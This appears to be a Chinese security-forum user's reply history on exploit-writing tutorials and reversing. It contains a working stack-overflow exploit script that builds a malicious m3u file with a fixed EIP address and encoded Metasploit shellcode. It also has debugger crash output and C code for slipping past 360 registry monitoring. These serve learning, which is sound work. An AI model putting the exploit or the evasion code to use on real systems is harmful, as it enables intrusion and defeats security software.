|
[翻译]Exploit 编写系列教程第一篇:基于栈的溢出
感谢分享 ! 自己测试了一下,附上自己的poc。 ================================================================ 测试平台: Windows XP SP 3 - 5.1.2600 Service Pack 3 Build 2600 (x86) 测试工具: Windbg, Metasploit 测试结论: 1. 让程序崩溃 2. 控制EIP,测试可用ShellCode空间 3. 去掉Bad Chars 4. 准备Shellcode,完成攻击程序 ================================================================ #!/usr/bin/env python # -*- coding: utf8 -*- media_file = "crash.m3u" with open(media_file, "w") as f: junk1 = "A" * 26042 eip = "\x7B\x46\x86\x7C" # 0x7c86467b # Bad Chars: 00 09 0A # windows/exec - 220 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, PrependMigrate=false, EXITFUNC=process, # CMD=calc.exe buf = "\x90" * 0x10 buf += "\xba\xd5\xaf\x4c\x41\xdb\xc6\xd9\x74\x24\xf4\x5f\x31" buf += "\xc9\xb1\x31\x31\x57\x13\x03\x57\x13\x83\xef\x29\x4d" buf += "\xb9\xbd\x39\x10\x42\x3e\xb9\x75\xca\xdb\x88\xb5\xa8" buf += "\xa8\xba\x05\xba\xfd\x36\xed\xee\x15\xcd\x83\x26\x19" buf += "\x66\x29\x11\x14\x77\x02\x61\x37\xfb\x59\xb6\x97\xc2" buf += "\x91\xcb\xd6\x03\xcf\x26\x8a\xdc\x9b\x95\x3b\x69\xd1" buf += "\x25\xb7\x21\xf7\x2d\x24\xf1\xf6\x1c\xfb\x8a\xa0\xbe" buf += "\xfd\x5f\xd9\xf6\xe5\xbc\xe4\x41\x9d\x76\x92\x53\x77" buf += "\x47\x5b\xff\xb6\x68\xae\x01\xfe\x4e\x51\x74\xf6\xad" buf += "\xec\x8f\xcd\xcc\x2a\x05\xd6\x76\xb8\xbd\x32\x87\x6d" buf += "\x5b\xb0\x8b\xda\x2f\x9e\x8f\xdd\xfc\x94\xab\x56\x03" buf += "\x7b\x3a\x2c\x20\x5f\x67\xf6\x49\xc6\xcd\x59\x75\x18" buf += "\xae\x06\xd3\x52\x42\x52\x6e\x39\x08\xa5\xfc\x47\x7e" buf += "\xa5\xfe\x47\x2e\xce\xcf\xcc\xa1\x89\xcf\x06\x86\x66" buf += "\x9a\x0b\xae\xee\x43\xde\xf3\x72\x74\x34\x37\x8b\xf7" buf += "\xbd\xc7\x68\xe7\xb7\xc2\x35\xaf\x24\xbe\x26\x5a\x4b" buf += "\x6d\x46\x4f\x28\xf0\xd4\x13\x81\x97\x5c\xb1\xdd" junk2 = (1000 - 42 - 4 - len(buf)) * "C" payload = junk1 + eip + buf + junk2 f.write(payload) print "[+] m3u File Created Successfully !" |
|
[翻译]Exploit 编写系列教程第六篇 绕过Cookie,SafeSeh,HW DEP 和ASLR
感谢分享, 我个人在实验过程中遇到一个问题, 请解答。 +++++++++++++++++++++++++++++++++++++++++ 测试环境: Windows XP SP3 English Microsoft Visual C++ 2008 Express Edition +++++++++++++++++++++++++++++++++++++++++ [Exploit 编写系列教程.pdf ] [第六篇: 绕过 Cookie,SafeSeh,HW DEP和 ASLR][第144页] 使用Visual C++ 2008 编译下面代码, 如下图所示。 [/B]#include "stdafx.h" #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) { char buffer[500]; try { strcpy(buffer,str); strcpy(out,buffer); printf("Input received : %s\n",buffer); } catch (char * strErr) { printf("No valid input received ! \n"); printf("Exception : %s\n",strErr); } } int main(int argc, char* argv[]) { char buf2[128]; GetInput(argv[1],buf2); return 0; }[B] 使用Windbg进行调试,显示信息如下: [/B]CommandLine: "C:\Documents and Settings\lab\Desktop\basicbof\basicbof\Debug\basicbof.exe" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Symbol search path is: SRV*C:\localsymbols*http://msdl.microsoft.com/download/symbols;cache*c:\localsymbols*http://msdl.microsoft.com/download/symbols Executable search path is: ModLoad: 00400000 00419000 basicbof.exe ModLoad: 7c900000 7c9af000 ntdll.dll ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll (574.f5c): Unknown exception - code c0000135 (first chance) (574.f5c): Unknown exception - code c0000135 (!!! second chance !!!) eax=0012fc54 ebx=00000000 ecx=0012fca8 edx=7c90e4f4 esi=7ffd8000 edi=c0000135 eip=7c96478e esp=0012fc54 ebp=0012fca4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlRaiseStatus+0x26: 7c96478e c9 leave[B] 为何没有出现文中覆盖EIP的情况, (908.470): Access violation - code c0000005 (!!! second chance !!!) eax=0000021a ebx=00000000 ecx=7855215c edx=785bbb60 esi=00000001 edi=00403380 eip=41414141 esp=0012ff78 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 41414141 ?? |
|
|
|
|
|
[原创]发一个键盘记录器--附源码
学习一下,确实是好东西 |
|
[专题六]软件保护壳技术专题
强帖,学习一下! |
|
[转帖]OllyDBG 所有插件+原始碼(SRC)
不错,值得收藏 |
|
[原创]利用一个NULL绕过360注册表监控
感觉你的思路不错,但是为什么我自己测试时,第一种方案,360都没有阻拦呢? 【系统】:Microsoft Windows XP Professional 版本 2002 Service Pack 3 【360杀毒】:程序版本2.0.0.1331 病毒库日期2011-04-02 【360安全卫士】:主程序版本7.8.0.1001 备用木马库2011-04-02 [ #include <Windows.h> #include <TCHAR.H> void main() { BYTE RegBuf[0x28]={0}; HKEY hKey; if(RegOpenKey(HKEY_CURRENT_USER,_T("EUDC\\936"),&hKey) == ERROR_SUCCESS) { RegSetValueEx(hKey,_T("SetDefaultEUDCFont"),0,REG_BINARY,RegBuf,0x28); RegCloseKey(hKey); } } 希望大家也测试一下,看看是否跟我测试的一样,如果不同,请在下面留言,大家深入研究一下.... |
|
[原创]IAT 重建工具 - IATRebulid
IATRebulid.exe http://bbs.pediy.com/showthread.php?t=61721 我在使用的时候出现了两个小问题,希望可以得到你的解答,因为我不知道这是不是IATRebulid.exe的Bug [一] 乱码 我用你的工具对一个Borland Delphi 6.0 - 7.0编写的程序,进行输入表重建工作,导出输入表函数保存后,然后对原输入表的数据作填"00"处理,接着重建输入表到原始位置,结果中间的几个DLL名为乱码,这几个DLL名下面的函数名也是乱码,不知道你能否解释一下 [二] 输入表正确,程序运行错误 我用Visual Basic编译了一个小程序,然后去除输入表,重建输入表,这样输入表没什么问题,但是程序运行出错.我用LordPE重建了一下,程序正常了.接着自己分析了一下,发现程序中指向API的地址出现了问题,不知道你能否对自己的程序进行改良,避免这样的问题 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值